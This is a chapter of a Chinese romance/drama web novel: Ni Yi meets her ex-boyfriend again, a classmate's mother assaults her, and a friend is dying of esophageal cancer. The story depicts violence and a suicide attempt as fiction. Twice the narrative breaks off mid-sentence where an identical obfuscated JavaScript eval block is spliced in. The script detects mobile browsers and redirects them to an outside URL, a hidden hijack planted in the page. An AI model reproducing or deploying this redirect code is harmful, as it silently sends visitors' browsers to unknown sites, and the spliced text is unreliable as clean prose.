倪旖搂着徐浣若肩膀,哄着她去潇湘湖散散心。 六月中旬,毕业季,海棠将尽,可每棵树上依旧垂着淡粉色的小花,满树璎珞,仿佛要在消失之际把整个仲夏给炸出来。 “砰砰砰——”远处传来男孩们机构篮球的声音以及赢了时的那声激动欢呼。 “嘀嘀嘀——”时不时柏油路上有飞驰的汽车鸣笛而过,有些喧扰。 刚割了一茬的野草发出有些刺鼻但清新的味道,特别浓郁,像是劣质版的牛油果饮料。有几只暗褐色麻雀浮在海棠树枝头扑棱着翅膀,左右摆头,机敏地看着远处的玻璃蓝色的天空。 一个穿着白紫撞色的校服,校徽处别着“倪旖”二字金属铭牌的女孩满脸稚气地抱膝蹲在暗红的古朴湖心桥木板上,杏眼里的琥珀色瞳眸在暮光挥洒下,隐隐闪着金光,又密又长的眼睫毛忽闪着。 倪旖正前方不到三十厘米处有一个又肥又壮的黑白奶牛花猫,眼神警惕,银白胡须轻轻颤抖着,时不时用微微发粉且湿润的小舌头舔自己的右爪。 倪旖拿起自己右手边的红塑料袋,有些不舍得站起来,往自己的左前方湖心小木桥里面走。 蹦蹦哒哒地走了近十米,倪旖在一处断了一根红木头的桥面蹲下,左手扶额,右手搭在自己的膝盖上,两只眼睛凝视着微微荡漾的碧波,有些浑浊,隐约能看到湖底一两厘米,有这几条金橙色的小金鱼,不大,只有四五厘米长。 倪旖深吸一口气,眼神警惕地瞄着周围有没有可疑人物,然后将自己右手上的红塑料袋放在断木区间上,两只手配合将塑料袋压进水里,快准狠,一下子把一条小金鱼拦在塑料袋里。 倪旖做出了不为校规容忍的见不得人行为,整个后背都已经冒出冷汗,鼻尖沁着细汗,又无意识瞄了一眼四周,还好没有人看见。 她跟蒋商鉴分手后,好像就失去了活力,也懒得作孽,谨言慎行的。 倪旖左手拎着塑料袋的两个耳朵,右手轻轻将手伸进碧波里面,小心翼翼地抓住那条小金鱼,抓了一分钟才把这条滑如泥鳅的金鱼给抓到。 倪旖按照原路整理好战场,偷偷摸摸地溜回去,那只又壮又肥的老花猫还在,只是变为躺睡的姿势,几秒钟眯下眼睛,十分慵懒。 “宝贝,请你吃金鱼。”倪旖轻声说着,声音很甜糯,像这个流馅的黑芝麻小汤圆,甜甜糯糯的。 幸好这是在外头,在家里,摸到酱崽。就会秒变石矶娘娘。 蒋商鉴那个猫儿子也是她照顾的。 倪旖蹲在原地,左手紧紧攥着滴水的红塑料袋,右手死死捏住那个企图挣脱的小金鱼。 老花猫见到鱼便本能性地站了起来,可流浪属性不改,见到吃的便疯狂地扑了上去,像是饿了三年的灾民,没有一点儒家的谦让气质。 倪旖见状不妙,快速地把右手上的金鱼扔到暗红木板。 可是那警惕老花猫发出去的弓箭收不回来,整只老猫直直往她身上扑,像是被天外陨石击中一样,一下被扑倒。 直到肚子上的花猫离开,倪旖脑子依旧发懵,只是右手背隐隐发痛。 倪旖瞬间被疼哭,感觉自己受了天大委屈。 “哇——” “倪旖,怎么了?”徐浣若伏在木栏杆边听到动静小跑着过来。 倪旖两只腿分开坐在暗红木板,左手揉着眼睛,右手搭在右膝盖上,两个眼眶四周哭红了,鼻尖也红红的,像是小孩子冬天偷偷溜出家门堆雪人被冻坏了。 倪旖嘴巴轻轻地往下弯,成了一个倒抛物线。 在听到左边有“咚咚”的踩木板走路声以及少女关的声音后,倪旖快速止住了眼泪,摊开自己右手露出手背,还是有些委屈地说:“若若,我被猫抓了。” 倪旖有些疲惫,扒拉着眼睛,深吸一口气,便一骨碌地从地上爬起来,微弓着腰仔细把蓝色裤脚上的黄土给掸掉。 徐浣若看着那一道鲜血淋漓的划痕,心疼摸摸她手上没被划破部分。 “没事,等会儿我弟弟就来接我,他刚好路过。”倪旖好怕感染,她的课题培养细胞就在最近,再等等就会立马死掉。 十分钟后,远处传来有些聒噪的声音,微微扬的少年不羁感。 “姐,哪只手被抓了?” 倪旖顺着声音传来的方向探身望去,有些疑惑地扬了眉梢。 大约五十米处的筱湘湖畔转角海棠树走来两个人,一个是欠揍的弟弟倪箴,一个是一年没见的蒋商鉴。 蒋商鉴鼻梁上随意夹着古典黑圆框眼镜,白T恤外套了个宽松白衬衫,两边袖口轻轻挽在胳膊肘上,目测腿长至少一米二。浑身上下透着清冷气质,好像被遗忘在时间的角落独自平欺寒力、搀借春光。 一秒之后,蒋商鉴迈着极其缓慢地步伐渐渐逼近,最吸引人的则是那双眼睛。眼瞳的清透感,光照在虹膜上散射出琥珀般的清澈柔和的暖色。 蒋商鉴湖畔旁转身,只抬眸轻轻一笑,恍若南风拂过,三千棠花灼灼盛放。 倪旖呆愣愣地看着他,连眼球都不转了。 当视线碰撞时,倪旖生理反应地躲了一下,透过少年鬓角耳边的细发,只觉得他身后的那棵海棠树好美,一树的淡粉色全是浪漫,尽管平时见了无数次。 倪旖完全到了另一个小世界,耳畔的风吹过有些清凉,但却吹红了自己的脸,过了好久,脑袋才被敲醒。 “都不认识我了?”蒋商鉴弓腰探头探脑找她闪躲视线。 倪旖像是被抓住小尾巴的小鹿,下意识惊慌失措地闪躲着,两个圆杏眼也不知道往哪放,只是觉得挪不开眼,又直视不了,有些难受。 倪旖两只手紧紧地攥住校服深紫色裤侧,低着脑袋,磕磕绊绊地说:“你怎么突然回国?” “他岽大毕业答辩,顺路故里重游。”倪箴些无奈地说着,然后侧过身,抬起右手扶着倪旖的肩膀,一把揽到自己的怀里。 倪旖没有说话,只是脑袋沉得更深,两只手像钻木取火一样在自己的裤侧来回摩擦,脸上一片燥热,像是炉边烤火。 “你真不认识?”倪箴弓着腰,有些吊儿郎当地凑在倪旖头顶上说着。 倪旖先是产生没由来的失落,然后被更大的好奇心替代,皱着眉头抬眸看着蒋商鉴,歪着脑袋,软萌不解地问:“故里重游,好玩嘛?” “老情人见面,要不打一架?”倪箴强忍住笑意,一本正经地说着,语速特别快,有一种看热闹不嫌事大的感觉。 “倪旖,我叫什么名字啊?”蒋商鉴勾了唇角,儒雅温和说着,声音有些平淡。 “不记得。”倪旖咬着唇,脸颊红得一塌糊涂,真觉得挪不开目光。 蒋商鉴颧骨柔和,没有锋芒毕露的突兀感。眼梢微上扬,左眼上眼睑双眼皮上,有一颗浅淡的思君时有见君时无的小痣,只有垂下眼眸的时候才看得到,眼睫毛浓密,像是骆驼。 “你要是想说什么赶紧说,人晚上十一点航班,过时不候。”倪箴先是嗤笑了一下,然后表情极其嫌弃,连眼神也带着不屑和傲慢。 倪旖偷偷地转移了目光,往左瞥了一眼招人嫌的倪箴,诚实地摇了一下头,两只手刚才一直乱点着自己的校服裤子一刻没有停歇。 为证明自己很出息,在分手后彻底遗忘蒋商鉴,倪旖伸出自己的左手掌心递到弟弟面前,小声地说:“他是谁啊?哪三个字?” “让你老情人你来写。”倪箴满脸嫌弃地抬起右手,伸出食指把倪旖的左手轻轻推到蒋商鉴面前,倔强的食指都在表达着嫌弃。 蒋商鉴抬起右手,伸出食指微弓,在倪旖的手手上写下自己的名字,随后轻柔地说:“真够健忘啊!” 倪旖果断地收回自己的左手,感觉掌中被落下了印章,有着金色镣铐,滚烫得像是握了块烧得火红的炭火。 她就只是装傻充愣。 倪旖从余光中瞥见蒋商鉴站她右手边,唇间挂着若有若无笑意,好好看。 “你再装,我把你老底子给掀了,赶紧跟他说两句话。”倪箴依旧吊儿郎当地说着,语气间带着一丝丝骄傲以及隐藏下来的威胁感。 倪旖往右侧抬眸,抬起右手轻拽一下蒋商鉴衬衫左衣袖:“答辩过了嘛?” “嗯。”蒋商鉴垂眸,带着黑框眼镜站在湖边暗红色桥木上低头垂眸,清波荡漾,两只手扶着栏杆,边上是棠花泛滥,周围都是粉红色的浪漫世界。 “喳喳——”飞鸟鸣声惊破长空,瓦蓝色的天空如同水洗过的玻璃,透光还有清透。青草发着成熟的清新味,空气里全都是活力的感觉。 蒋商鉴转身,白衬衫衣角随风扬起,那双透亮干净的眼睛轻轻弯着,回眸刹那,连周围棠海都不如他。 倪旖在对视时迅速转移目光。 “躲什么?”蒋商鉴饶有趣味见她扭捏模样。 “没躲。”倪旖想问他有没有谈新女友,可她怕不是想要的答案,只是抬眸小声道,“那棵荔枝树挂了好多好多熟果子,我好想偷几个。有次我上学,那小东西就垂在我眼前,晃啊晃啊,一想到你不喜欢,我一个也没摘。” 倪箴得空瞅一眼姐姐边上女孩,蹙眉试探道:“我是不是在哪里见过你?” 徐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15356552|165825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浣若摇摇头,笑容惨淡,刚才持续呆愣,她没想到要遇见倪箴。 她像是没有深度的容器,填不满此刻满腔满腹的遗憾。 大部分日子被时间模糊,情节会被记忆篡改,但它就在那里。 徐浣若不止一次期待过。期待倪箴成为她的高墙,遮风挡雨,固若金汤;期待倪箴是那一道可遇不可求的光,在暗无天日似乎没办法坚持的时候照着她往前;期待未来的每个春天,暮色下晚风中是倪箴和她两个人。 徐浣若那瞬间脑袋流转走马灯。 想起来那年夏天,补习班上倪箴穿着白衬衫,阳光穿过叶子落在身上,斑驳的。想起倪箴轻声在不停歇课间温柔唱歌,隐约听得见,是他俩都很喜欢的歌,叫外婆桥。想起电玩,老街,汉服,桂花糕,橘子汽水,仅对方可见,永远赶不上的地铁末班车,喉咙嘶哑也要唱完的壮胆歌...... 徐浣若泪眼婆娑。 “你怎么了?”倪箴被她眼泪吓到,连忙给她递纸巾,甚至胳膊肘往姐姐那边一戳,眼神示意情况。 倪旖正愁尴尬无话可说,松口气跑到徐浣若边上,给两位男士使眼色回避。 等就剩下两人时,倪旖关切询问:“怎么了啊?若若。” “太冷了。”徐浣若随便找个蹩脚理由。 倪旖也没继续问,看她汉服太薄,就将浅粉色外套给她。 虽说是夏天,但海边风大。 徐浣若一开始特别犹豫,不想穿,可是也没有别的外套,最后在倪旖眼神殷切关注下只好穿了白外套。 徐浣若妈妈跨坐电瓶车上在校门口接她,看见女儿穿的外套,原本脸上还笑着,突然就发疯一样跳下来,小跑加速度直接抓着徐浣若的头发就抽了两巴掌。 倪旖人都愣住了。 徐浣若妈妈歇斯底里尖叫问:“这种骚毛衣服是谁给你的?” 骚毛是当地一种骂女人的话,大概就和骂女人狐狸精不检点是差不多的。 幸亏大部队没赶回学校,门口没两个人。 门口保安和看值班老师就赶紧过来把被打的徐浣若和她妈妈扯开。 徐浣若被拉开之前大概已经挨打了十几下,左脸颊熟透了的水蜜桃似的。 保安把徐浣若护在身后。 老师拦在她妈妈身前:“发生什么事儿了。” 徐浣若妈妈尖叫着还往下挣扎:“衣服是谁给你的?” 徐浣若眼神空洞,瑟瑟发抖抬手就指向了倪旖。 倪旖瞳孔皱缩,还没反应过来就铺天盖地一逼斗飞来,一下就被惯性摔到泊油路地面,膝盖碎掉似的疼痛,鼻血留了一小滩。 值班老师尖叫一声赶紧过来挡在倪旖前面,威胁道:“再动就报警!” 倪旖整个人都蒙圈,摸到鲜血错愕一瞬。 值班老师将倪旖抱起来送到保安室,然后另外一边的保安也着急忙慌把徐浣若护送到过去。 就剩门口疯女人尖叫个不停。 “你们赶紧联系父母,等会儿警察就来。”值班老师吓得脸白得瘆人。 保安等在屋里才意识到门口的那个女人是徐浣若的妈妈,表情很丰富。 倪旖手颤着给蒋商鉴打电话,哽咽哭腔:“商商,你快来东门保安室。” 此刻,蒋商鉴还在给倪旖挑雪糕呢,一听到倪旖在哭,脑袋一紧,抓着倪箴衣领子边拖边拽,没两分钟就到了地方。 倪箴晕头转向,刚进保安室就看倪旖脸肿得老高,慌忙奔向她,左脸颊好几道血痕。 倪旖虽说头铁,小时候总调皮被揍,那也只是戒尺扇手掌,从小到大被打得最严重的一次都没此刻严重。 “怎么回事?谁欺负你了?”倪箴立马掉眼泪,搂着哭得喘不上气的倪旖,心都碎成一瓣一瓣。 蒋商鉴脸上愤怒都压制不住,勉强用克制得发抖的声音问值班老师:“发生了什么?” 倪旖深吸一口气,见值班老师支支吾吾说得不清晰,将刚才发生暴力事件完整叙述。 倪箴听罢就冲出去要打徐浣若的妈,两个保安费了九牛二虎之力才拦住。 班主任罗勇跟老婆从家里开车过来调解。 倪旖父母也气冲冲过来,本来慵懒的俩夫妇这次严肃板着脸坐谈判桌上。 徐浣若妈妈强词夺理大声吼:“她这个年纪的女生只能穿黑色或者蓝色,穿白色或者粉色这样的衣服,肯定就是要去做婊子,做不守妇道的妓女。” 班主任老婆穿的是上白下粉的夏季户外跑步外套,值班老师穿着白和粉的碎花连衣裙,倪旖妈妈穿着几十万粉蔷薇色手工缝制刺绣旗袍,这几位脸色都不太好。 “去你的!”倪箴见众人脸色都很畸形,破口大骂,“再骂一个试试!” “你姐姐人呢?”许珊将一条手绢给眼泪流得稀里哗啦的倪箴递过去。 “在医院,不要我陪着。”倪箴怒目圆瞪,恨不得把对面死女人吃了。 徐浣若没去医院,眼神空寂,面如死灰似的望着头发乱糟糟的妈妈。 最近疫苗防控中心医院有点古旧,墙壁爬满了爬山虎,笼罩着一片墨绿色。断壁残垣上的裂缝也长出野草,有些褐色纹路像是蜘蛛网一样遍布着。黑色的电线上立着几只暗褐色斑点麻雀,叽喳喳的叫个不停,有些刺耳。 打完狂犬疫苗给左脸颊做完消肿措施后,倪旖感觉好一点,至少不是火辣辣疼痛,后门的顺着道路走两百米就是小吃街,每天晚上那条街全都是卖小吃的,到了夏天,最多的是小龙虾。 酸梅汤小摊前,摊主桌面摆着一桶酸梅汤,还有一架简易的封盖机器。 倪旖走不动路。 “要尝尝味道?”蒋商鉴疼得像心脏裂开似的,可又不知道怎么安慰。 倪旖没有说话,继续往前走。 顺着墨绿色的银杏树下走了几百米,暗黄色灯光微醺,时不时车辆鸣笛声由远及近穿过。行人模糊不清话语以及空气中掺杂的干燥灰尘颗粒惹得人心烦躁。 洒水车将靠近倪旖家规划区的街道淋湿,搭在街角炫彩霓虹灯广告牌上的香樟路叶还有些湿漉漉的,淡咸海风拂过,带起阵阵凉意,吹乱了额前的几缕发丝,倪旖并没有理会,她依旧看着对面那栋红楼。 蒋商鉴见愈来愈近的目的地,忍耐不住拦住她去路。 倪旖撞到他胸膛,整个人待在原地,鼻腔里满是他前调木罗兰清雅香水味,脑袋里全是空白,直到几秒后才回神,才体会到,什么叫“喧嚣里的诧寂”。 见他随意到咖色卫衣拉链外套褶皱随着动作而变换,倪旖只是不敢触碰,往后连退了几步,被香樟树堵住去路才停下。 “小嗯,再见面就这么寡淡嘛?”蒋商鉴脸上依旧是淡淡笑容,眸色柔和,微仰着头,喉结在她呆滞的视线里滚动了下,青筋浅浅凸显,脖颈修长。 小嗯,索吻的前缀词。 52.重逢 倪旖好想逃跑,又想问新女友问题,可是嘴被堵得死死的,怎么也张不开。 蒋商鉴伸出右掌。 倪旖愣愣把手伸出去,微凉的触感从手心传来,下意识抬眸,对上他淡然澄澈的视线,掌心被他手上的硬茧摩挲了一下,轻微触感转瞬即逝。 倪旖忍不住缩了下手指,却更能清晰的感受到那茧的形状。 蒋商鉴弓腰俯身拥住倪旖,凑在她耳边轻声眷恋道:“我想你了。” 海盐住进碎冰里,扎碎柠檬水往上生长的浮流气泡,他的语调有限定蓝的慵懒,可眼里却是适宜微醺的浅绿色。 倪旖抬眸时有些发愣,只透过他肩膀朝上的空隙,看到远处那堆装饰塑料彩纸花,姹紫嫣红,像是春天,早秋的夕阳,如火似的,燃烧着那晚空的天,不眠不休,浓郁的像是蓝色的玉被沁了血,一副流动的油画。 那一色睡着的蓝被放逐。 倪旖将头贴在蓬勃跳动的心脏上,大口大口地喘着气,就觉得此刻像孩童打翻油料桶般浅绿色好像将澄澈蓝色天空吞噬,从此世界都变成绿,啃食了荒芜。 “你现在有新女友了嘛?”倪旖还是问出来,只是刚说出口就觉得自己简直是多嘴,放下的手也是滚烫。 “暂时没。”蒋商鉴心一颤。 “那有sexfriends嘛?”倪旖知道国外德行,可她就是想知道。 “倪旖,你就想问我这些嘛?”蒋商鉴蹙眉。 倪旖心一酸,得到答案,是啊,都分手了,没必要了。 俩人又陷入沉默。 新中式庄园庭院昏暗光线衬得游廊亮堂许多,青石板积攒着一汪又一汪水。 开门面对的堂屋有各式世界各地的收藏放在两边的玻璃柜中,不沾染一丝尘埃,墙上是抽象线条油画,极富北欧特色的窗帘慵懒的拖在青灰瓷砖地面,空气中弥漫着庄严肃穆的柏木焚香,还有芝士奶酪的味。 “Honey,回家啦。”丁越青唤了一声,明明厚重,但是有那种慵懒感。 蒋商鉴手颤抖得停不了。 倪旖破罐子破摔,也没像之前那么想躲起来,大大方方跑过去,隔了五米直接助跑跳到他的腰上,脑袋埋在他的脖颈,小声撒娇:“有些累了。” “我抱着。”丁越青侧着眸子,注意到校服后脖浅紫白衬衫上面的蝴蝶结带子散开了,便两手随意给她系上去,大手裹着她的腰,抱得稳稳当当。 蒋商鉴被无比亲昵熟稔小动作刺到,像是被掐住脖颈似的满满窒息感 “蒋师兄?”丁越青勾着唇,松开手放下倪旖,低头慢条斯理脱掉西装,只穿白衬衫和暗灰马甲,背阔肩宽,腰身劲瘦,步伐随性,往前走回头时笑了下。 “我还有事,先走了。”蒋商鉴几乎是逃跑速度。 丁越青见倪旖哭丧脸跑掉,便跟到餐厅里,先是给她拉开椅子,等她坐下后才落座,修长双腿优雅交叠,手臂轻搭扶手,语调散漫平和:“你脸怎么了?” 倪旖难过得想大哭大口吃东西,撕开桌面三明治纸包装,捏着那个英文字符报纸式包装啃一大口,没仔细咀嚼就往下吞,结果直接被呛到。 丁越青起身快速从冰箱里拎出一罐奶,先给她起开易拉罐环,撕开吸管把它插上,递给她,顺带十分心疼地摸摸她脸颊。 “呜呜呜——”倪旖委屈得直掉眼泪。 丁越青没多嘴问,修长的手捏着个白瓷小碗,不大不小且圆润的汤匙在锅里撇了撇,把上面的葱白撇到一边,捞了几个蟹黄小馄饨给她递过去。 他怎么知道我喜欢吃这些? 倪旖愣住神看这个碗。 “你前男友曾经告诉我的。”丁越青看穿了她的小心思,也不避讳,直接说,他向来都不是弯弯绕绕的人。 前男友就是前男友,就是过去式,他不屑于将曾经的家教师兄蒋商鉴当做对手。 倪旖捏紧拳,没说话,难过混着苦涩,从心里漫上鼻腔,呛得人想流泪,以至于吃那个蟹黄小馄饨没了任何鲜味,满满的咸,浸泡着海的蓝。 倪旖踹他一脚后哭着上电梯回卧室,一刷蒋商鉴社交账号,赫然展示金发碧眼大波妹,她把手机抱在胸口,有种窒息感,蜷缩在床上,像个死虾掉进锅里。 房间内,窗外斑驳碎影洒下,倪旖眼皮像是透视一般,一堆红血丝,把幽静的黑眸愈衬得安静温柔,像在想着些什么,难过到胸口一起一伏。 蒋商鉴也没好到哪里,赌气似的发社交号消息,误导倪旖,期待她能吃醋。 雾气蒸腾,蒋商鉴心情糟糕到改签航班,已经无法应对十多小时飞行,失魂落划掉镜子上水珠,白衬衫被暴力杂乱卷起来,强壮有力的手臂大剌剌扶着墨色大理石洗手池边。 手臂上青筋充血似的膨胀显现,蒋商鉴赤裸的上半身精壮有力,腹部全是紧致肌肉,腰间围着条松垮白浴巾,修长双腿笔直抻着,眯着眼睛布满血丝。 蒋商鉴稍微深呼吸,压制火气,湿透的黑发不太顺从地伏在额前,眼白上带着些血丝,不太稳当地扶墙从浴室出来,坐在床边,眼底湿润空洞,还夹杂着一丝酒味的醉意。 蒋商鉴昏睡一天才带着行李搭上航班。 倪旖也没难过几天,噩耗如雷贯耳。 八月初,各大高校陆陆续续都将录取通知书寄给学生。 倪旖脑袋空空荡荡,就跟抽干了脑神经似的,虚弱无力把手上保养品和果篮放病房柜桌旁,坐在一侧陪护凳上,另一侧是个十八岁柔弱小姑娘。 小姑娘很瘦,脸色苍白,眼底充满血丝,通红,低着头用手指抠着木头餐桌板边沿,桌沿很快被抠出了一道道暗褐色指甲印,偏执。 “林愈合。”倪旖哭得浑身发抖,无助跌坐在抽噎。 倪旖难以置信爬起来,跌跌撞撞便又起身往门外走,顺着身体本能,想要逃离崩溃场景,边揉着鼻尖,想打喷嚏,消毒水味很冲,还未出门,微抬着头,眼里撞见个人影,眨眨眼,也没停留。 “林愈合,你还我女儿!你还我女儿!都是你害的!都是你……” 倪旖红着眼睛,微顿足,耳里是熟悉疯女人愤怒尖叫声,指责辱骂,还有扯被子扔地上闷响声,水瓶摔地上“啪嗒”清脆声…… 惨白月光从风里漾起的白纱中照进单人病房,病房很简单,只有一张铺着白色床单的单人床。 “对不起,对不起……” 刚刚林愈合还躺在上面,现在却在墙角蜷缩成一小团,死捂耳朵,浑身颤抖,指尖微微发粉攥着,有些痉挛。 刘湖岐刚打完晚餐回来,一进门就看到疯女人撕扯场景,往前走两步,把那疯子拽着卫衣帽子拉开,皱眉疑惑,偏头:“滚!医院呢。” 疯女人还要上手用指甲抓脸。 倪旖见状一脚给人踢到两米远处。 疯女人甩下手,面目狰狞,恨恨地瞪了他们一眼,咬牙切齿:“你们会付出代价的,一定会付出代价的,你们都是凶手,都是!” 倪旖一头雾水,也不能再让她尖叫,吵到隔壁病房,吼了一声:“别吵啊!” 疯女人见人多不敌,擦了擦眼泪,捂着眼泪就跑出去,“噔噔”的。 林愈合眼底还有红血丝,风漾起她虚弱身上微微的茉莉花茶香。 倪旖转身把门带上,防止那人形开水壶再闹腾,目光定在林愈合单薄身上,一耸一耸的肩膀显得可怜,慢慢走去蹲在一边。 “先起来。”刘湖岐安慰性质拍下她肩膀,轻声叹口气。 林愈合扶墙慢慢起来,忽然又停下,似乎摸到什么东西,和墙壁触感不同,便沿着那个东西缓缓摸着,手上传来粗糙不平的触感,仿佛有很多弹痕。 微微发热。 林愈合虚弱得只剩左摇右晃,眼前发黑,不时擦到衣物。 “……那是我的手。”刘湖岐也不能直接收回来,只好提醒,抿着唇。 林愈合一偏头,收回手,本来就摇摇晃晃,现在径直倒下去,几乎一瞬,肩膀被搂住,被捞进怀里,脑袋发晕,思考不了一点,只注意到男人微皱眉。 他应该是觉得我太瘦吧。 骨瘦如柴。 上次吃饭都不记得什么时候。 每天都要强制性打点滴。 林愈合被扶到病床上,刘湖岐脚步声很轻,似乎故意走得很慢,他踱步到靠近窗口那面墙,把窗帘拉上,盖住墙下蹭到的脚印。 灯光犹如透过一层过滤,照出的景象影影绰绰,边缘薄薄一片,林愈合微闭着眼,疲倦到不行,将死之人。 刘湖岐拉椅坐一边,随意把被子掖好。 林愈合声音虚弱,几乎听不见。 倪旖看俩人,扶着额:“什么情况?” 林愈合微摇头,已经没力气说话。 刘湖岐不管她阻止,倒杯温水给勉强镇定的倪旖,愧疚道:“徐浣若半夜打电话给林愈合,说在顶楼天台,谢灵桓和父母昨晚回老家看望爷爷不在家,林愈合她父母自驾游,就给我打电话,我俩刚爬上天台,若若就跳楼,林愈合没拉住,若若现在还在重症监护室。” “我没问这个。”倪旖不管那些事,上次她被一巴掌扇怕了,最难以理解的是,若若曾经是她朋友,也知道疯子妈多恐怖,她依旧选择指认。 倪旖可怜她,但可怜之人必有可恨之处。 倪旖也不想被拖下水。 林愈合使个眼色让刘湖岐不要再说话。 “妹妹吃晚餐了嘛?我出去给你买,有想吃的吗?”刘湖岐瞬间眼泪就止不住,慌乱擦擦眼眶,赶紧起来,椅子腿和地板拖来,“刺啦”一声,有些刺耳。 倪旖指尖揪住他腰间衣裳,眼色凌厉:“不要自己扛着,去通知谢灵桓。” 刘湖岐一顿,赶紧跑出去。 倪旖还想问些事情,但阻止没成功,只见他朝后退,出了门。 “食道癌,晚期,一模考完英语后去医院拍CT知道的,那时候吃固体食物就呕吐,从两碗米饭,到一碗米饭,再到半碗,然后几小口,七月最后一天我彻底不能进食,现在连喝水也总是呕吐,没有可能痊愈的。” 林愈合笑得平静,只是说完这段话,虚弱得要喘息好几下才能平复,用力抬起软趴趴的胳膊,只想轻轻触碰一下倪旖脸颊,眼神满是眷恋。 “倪旖,我好舍不得你们啊,你知道嘛,昨天我收到录取通知书了,跟谢灵桓一所大学呢,他一模结束那晚还摆了一屋子鲜花跟我表白,我好想答应,真的,但我刚知道得了病,要死了,只能躲他……” 倪旖崩溃捂住耳朵,逃似的拖着麻木的躯体往外去。 倪旖去厕所踉踉跄跄,拖动脚步向那边走去,双腿如此沉重,承载未知重量,充满消毒水的空气化作一摊泥沼,深陷其中,寸步难行。 只是地板一滑,便跌地上,好久好久都没力气爬起来,就看头顶的光,慢慢的,慢慢的,变得没那么光亮。 水龙头关不了,水流往下冲,灌满的水槽落地板,“哒哒哒哒”,很快,倪旖豆绿色裙摆被晕染加深,凉意慢慢入骨。 她不想死,她想活着,上帝啊,听到了嘛,她不能死,她想和谢灵桓高考旅游,想和喜欢的人去同一所大学…… 她想看看太阳。 也不知过了多久,倪旖感觉快永远被封在这堵医院墙里。 她想活着。 倪旖满脑子都是祈祷,满脑子都是林愈合平静的祈愿。 “咚咚——”刘湖岐站在门口,拎着一提鸡汤和肉粥,敲了好几下,都没人答应,就听见呜咽声,“我进来了。” 刘湖岐刚经过卫生间,余光中瞥见躺地板上的倪旖,心头一惊,忙把粥放一边,拧好水龙头,也顾不着她浑身被浸湿,牵着个大毛巾俯身把她裹好,一下抱起扶坐马桶上。 倪旖肩膀仍裸露着,她满头黑发湿漉漉的,脸色发白。 刘湖岐急忙朝这门口护士站跑去,面色焦急,还不忘嘱咐一句:“坚持啊宝贝,我去找护士。” “您好,915病房,探望女孩摔地上,衣服湿了,能帮忙换一件吗?她现在昏迷状态。”谢灵桓眉头微蹙,语气极速。 护士抬头一看,咯噔一下,面前这男人高大魁梧,至少一米九,宽肩窄腰,肌肉纵横贲张,无袖连帽卫衣微贴着,长腿紧实有力,粗粝荷尔蒙气息扑面而来。 “好好好。”护士连声答应,目光一直定在寸头男人身上,确实剽悍。 刘湖岐小跑着回去,拉开门偏头确认倪旖乖乖待着,松了口气。 林愈合红着眼眶:“她被吓到了。” “你别自责,她身上湿透了,有干净衣裳嘛?”刘湖岐见她不方便动作,就顺着她默许视线弓腰去床柜边找她常服,浅薰衣草洗衣液味,柔软触觉。 “衣裳。”护士从里面敲敲门。 刘湖岐从门缝把衣裳递去,靠门框怕旁眉头一直没松。 很快,门就开了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15356553|165825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>刘湖连忙扶倪旖胳膊来减轻护士肩头力量,尝试让她自己走路失败后,便一把捞起倪旖抱怀里,太轻了,轻到怀疑她的血液骨头都被抽空了。 林愈合让出个位置,心疼地给她擦擦脸上的水痕迹。 刘湖岐坐床边,揉揉昏沉脑袋。 “她刚刚怎么了?”护士眼里全是焦急。 “我告诉她病情,她受不了刺激。”林愈合把湿了的纸巾隔空扔纸篓里。 护士见状也不好过多打扰,交代两句客套话就出门去。 刘湖岐将目光转移到倪旖身上,看着她微微发颤的肩膀,抚着她额,幸好还没发烫,心疼道:“怎么也这么瘦啊?” 倪旖只是晕乎乎,他的影子越来越远,好像失败了,直到自己眼角的泪被一个特别糙的指腹抚干净才难受窒息。 “醒了啊?” 倪旖听见浑厚的男声。 “吃点粥?” 倪旖微眯着眼,看见刘湖岐。 刘湖岐被这脆弱眼神刺痛,下意识微偏头盯着果篮:“你刚晕过去了。” 倪旖扭头就看见虚弱林愈合平躺在身边,下意识埋进她怀里,她骨头很硌。 林愈合没回答,眼神是平静,用微弱的声音安慰:“不要为我难过。” 刘湖岐心脏酸涩,看不得这场景,沿左墙角,大略扫视一番,墙角放一盆吊兰,拎水壶去浇了浇水。 林愈合满眼血丝:“不哭了,嗯?” 倪旖眼角滚下热泪,抽泣:“谢灵桓知道你瞒着他,会崩溃的。” “他不会知道的,与其让他一辈子陷在回忆里,我宁愿他忘记我。”林愈合不停给倪旖擦眼泪,跟小喷泉似的也流不干净。 “对他不公平。”倪旖抖成筛糠。 “我只是他青春里的女孩,可生命很长,我舍不得浪费他。”林愈合声音虚弱,细若游丝,风一吹就能断裂似的。 倪旖搂着她,感觉这副身体只有皮包骨了。 不像个人,更像个幽灵。 接下来时间。林爸妈情绪很平和,或许是麻木。 八月六日,林愈合生理盐水打不进去了。 “谢谢妈妈,在我最后的几天,每天背我去洗澡,给我刷牙,让我看起来干干净净的,除了瘦,没有像其他将死之人一样狼狈。” “谢谢爸爸陪我追剧,还剩二十多集,等不到结局了。你要多陪陪妈妈,不要总钓鱼,还有,鱼竿是我掰断的,我还在上游丢假人头,芦苇荡装鬼哭。” “谢谢湖岐陪我化疗,你要走出来,不要想着死,我想活还活不了呢,如果没勇气坚持下去,就想想我,好不好?” “谢谢倪旖,你要好好的,蒋师兄很爱你,你也要坚持,就算很难过。” …… 林愈合艰难扯出笑,她感谢每一个出现在她生命力的人,除了谢灵桓。 八月七日,林愈合说不出一句话,只能小幅度点头。 